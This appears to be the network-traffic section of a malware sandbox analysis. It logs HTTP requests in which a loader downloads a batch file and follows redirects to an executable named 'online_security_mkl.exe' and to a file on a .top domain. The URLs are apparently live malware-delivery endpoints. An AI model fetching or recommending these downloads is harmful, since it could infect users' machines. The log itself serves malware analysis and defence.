Network Analysis

GET /load/load.php?c=1002 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: d2csnxzxwctx26.cloudfront.net Connection: Keep-Alive Cache-Control: no-cache

HTTP/1.1 200 OK Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Sun, 19 May 2024 01:32:31 GMT X-Powered-By: PHP/5.5.38 Content-Description: File Transfer Content-Disposition: attachment; filename="load.bat" X-Cache: Miss from cloudfront Via: 1.1 88978ba000ab6fbb0841a728290a8442.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN57-P2 X-Amz-Cf-Id: nDs2jdV9bksewfmMrdxg_QYciUwEJ9gJaAy_ubLxkBmXRZK0_0Drgw==

GET /load/th.php?a=2836&c=1002 HTTP/1.1 Host: d22hce23hy1ej9.cloudfront.net Connection: Keep-Alive

HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Sun, 19 May 2024 01:32:34 GMT X-Powered-By: PHP/5.5.38 X-Cache: Miss from cloudfront Via: 1.1 da2c164b1f4a215d9eb34f9c8a35ee3c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN54-C1 X-Amz-Cf-Id: eRC4TPpNTEBifFsQGYBxgoM2Tr0Q9VFIba448kfYPRoPiKXQV7X_QQ==

GET /load/dl.php?id=458&c=1002 HTTP/1.1 Host: d22hce23hy1ej9.cloudfront.net Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Sun, 19 May 2024 01:32:36 GMT X-Powered-By: PHP/5.5.38 Location: https://cdn-edge-node.com/online_security_mkl.exe X-Cache: Miss from cloudfront Via: 1.1 476f8319bb51299b893d2257510c5dd0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN54-C1 X-Amz-Cf-Id: rehLwNMLFDcCwgSxGmE6AwNQuDkXxrWTYFXYU06fQ1wzz7Bsd9s5xg==

GET /online_security_mkl.exe HTTP/1.1 Host: cdn-edge-node.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Sun, 19 May 2024 01:32:36 GMT Content-Type: application/octet-stream Content-Length: 3711543 Connection: keep-alive Last-Modified: Fri, 26 Apr 2024 08:50:55 GMT ETag: "662b6aef-38a237" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2218 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o5vfBNWpA8%2BLMsHhaFAjpGz9dpYpl8YeMVEtGm0gqJ09YVtkiyy0MgoEIyO%2Fo3FvOSLT4n7tpRi%2B3Jjf%2FS0tvkN3Rjd0ClTISPzMXKy%2B0kHhADRuFvTDQW49BBysHlA%2F9NMIvQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88605589bcd52f15-LAX alt-svc: h3=":443"; ma=86400

GET /load/dl.php?id=444&c=1002 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: d22hce23hy1ej9.cloudfront.net Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Sun, 19 May 2024 01:32:39 GMT X-Powered-By: PHP/5.5.38 Location: http://240429000936002.mjt.kqri92.top/f/fvgbm0428902.txt X-Cache: Miss from cloudfront Via: 1.1 fbb22360028e181171037fd6d6a9e41c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN54-C1 X-Amz-Cf-Id: ZhGnKi5GqoENYdt4ZR99qOI4hwDIsGtPoRAFXUT5LsOSz86PAnrSJQ==

GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com

HTTP/1.1 200 OK X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-Robots-Tag: noindex Referrer-Policy: same-origin Last-Modified: Fri, 13 Oct 2023 16:28:31 GMT ETag: "37d-6079b8c0929c0" Accept-Ranges: bytes Content-Length: 893 X-Content-Type-Options: nosniff X-Frame-Options: sameorigin Content-Type: application/pkcs7-mime Cache-Control: max-age=3600 Expires: Sun, 19 May 2024 02:32:39 GMT Date: Sun, 19 May 2024 01:32:39 GMT Connection: keep-alive

GET /f/fvgbm0428902.txt HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: 240429000936002.mjt.kqri92.top Connection: Keep-Alive

HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: Caddy Status: 404 Not Found X-Powered-By: PHP/7.3.25 Date: Sun, 19 May 2024 01:32:41 GMT Content-Length: 17